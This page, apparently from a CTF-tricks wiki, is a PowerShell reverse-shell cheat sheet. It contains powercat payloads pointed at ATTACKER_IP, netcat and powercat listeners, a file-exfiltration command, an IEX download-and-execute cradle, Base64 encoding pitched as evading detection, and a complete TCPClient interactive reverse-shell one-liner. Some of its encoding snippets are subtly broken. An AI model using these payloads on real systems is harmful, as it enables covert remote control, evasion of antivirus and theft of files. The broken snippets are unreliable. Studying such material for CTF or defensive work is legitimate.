> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-7/reverse-shell/trick-0595/initial-access-reverse-shell-powershell.md).

# Powershell

## Generate AV-Evasive PowerShell Shell

Use `powercat` to generate a PowerShell reverse shell payload (`.ps1` file) intended to evade some antivirus signatures and potentially bypass firewalls by using a common port like 443.

```powershell
powercat -c ATTACKER_IP -p 443 -e cmd -g > payload.ps1
```

This payload connects back to your specified IP and port (`ATTACKER_IP:443`) and drops you into a command shell (`-e cmd`). The `-g` flag generates the payload as a script file.

Remember to set up a listener on your machine. For instance, using `netcat`:

```bash
nc -lvnp 443
```

This command sets up a verbose (`-v`), listening (`-l`), numerical-only IP (`-n`), port (`-p`) listener on port 443. Netcat is a common tool for setting up listeners to receive connections from reverse shells.

Alternatively, `powercat` can be used directly on the target if it's already present, or executed from memory using techniques like `IEX` (Invoke-Expression) or `Invoke-Obfuscation`. A simple execution might look like this:

```powershell
powercat -c ATTACKER_IP -p 443 -e cmd
```

This command directly executes the reverse shell, connecting to `ATTACKER_IP` on port `443` and sending a `cmd` shell.

If you need to encode the script for execution via `powershell.exe -EncodedCommand`, you can generate the payload and then encode it. For example, generating a base64 encoded command for a reverse shell:

```powershell
$command = 'powercat -c ATTACKER_IP -p 443 -e cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [System.Convert]::ToBase64String($bytes)
Write-Host $encodedCommand
```

The output `$encodedCommand` can then be used with `powershell.exe -EncodedCommand`. This is often used to execute commands without triggering detections based on command-line arguments.

For the listener, while `netcat` is common, `powercat` can also function as a listener. To set up a `powercat` listener on the attacking machine:

```powershell
powercat -l -p 443
```

This command sets up a listener on port 443. Once the target connects, you can then execute a command shell on the remote machine and pipe it back to your listener using the `-e` flag on the listener side *after* the connection is established. A common sequence involves the target connecting with `-e cmd` and the listener being ready to receive it. Another way to use the listener `-e` flag is to have the listener execute a command upon connection, though the client connecting with `-e cmd` to a simple listener (`-l`) is the standard reverse shell setup. A listener command that executes `cmd` upon connection might look like this:

```powershell
powercat -l -p 443 -e cmd
```

Beyond reverse shells, powercat also supports other modes of operation. For instance, it can be used for file transfer. To send a file from the target to the listener:

```powershell
powercat -c ATTACKER_IP -p 4444 < C:\input.txt
```

And on the listener side to receive the file:

```powershell
powercat -l -p 4444 > C:\output.txt
```

Powercat also supports UDP connections using the `-d` flag, in addition to the default TCP connections.

Execution of the powercat script on a target can be done in various ways. If the script is hosted on a web server, it can be downloaded and executed directly in memory using `Invoke-Expression` (`IEX`).

```powershell
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/powercat.ps1')
```

This command downloads the script content from the specified URL and executes it within the current PowerShell session without writing it to disk.

***

## Powershell Base64 Encoded Reverse Shell

Execute a PowerShell reverse shell payload by first encoding the desired command in Base64. The command is typically something that downloads and executes a script from your listener, like `IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>:<attacker_port>/shell.ps1')`. Once the command string is Base64 encoded, use the `-EncodedCommand` flag with `powershell.exe` on the target system. Ensure a listener (netcat, Metasploit handler, etc.) is set up on your machine to catch the incoming connection.

```bash
powershell.exe -EncodedCommand <Base64_String_of_your_PowerShell_command>
```

A more comprehensive PowerShell reverse shell script can be used, which establishes a TCP connection back to the attacker's listener and provides an interactive shell:

```powershell
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.10',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close();
```

To use this script with the `-EncodedCommand` parameter, it must be Base64 encoded. Crucially, the `-EncodedCommand` parameter expects a Base64 encoded string of a Unicode (UTF-16LE) string.

Encoding can be done using PowerShell itself:

```powershell
$command = "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.10',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();};$client.Close();"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [System.Convert]::ToBase64String($bytes)
Write-Host $encodedCommand
```

Alternatively, a Python script can be used to perform the encoding, ensuring the correct UTF-16LE format:

```python
import base64

command = """
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write(sendbyte,0,sendbyte.Length);
    $stream.Flush();
};
$client.Close();
"""
encoded_command = base64.b64encode(command.encode('utf16')[2:]).decode('ascii')
print(encoded_command)
```

Once the command is encoded, it can be executed on the target system using the `-EncodedCommand` flag:

```bash
powershell.exe -EncodedCommand <Base64 String>
```
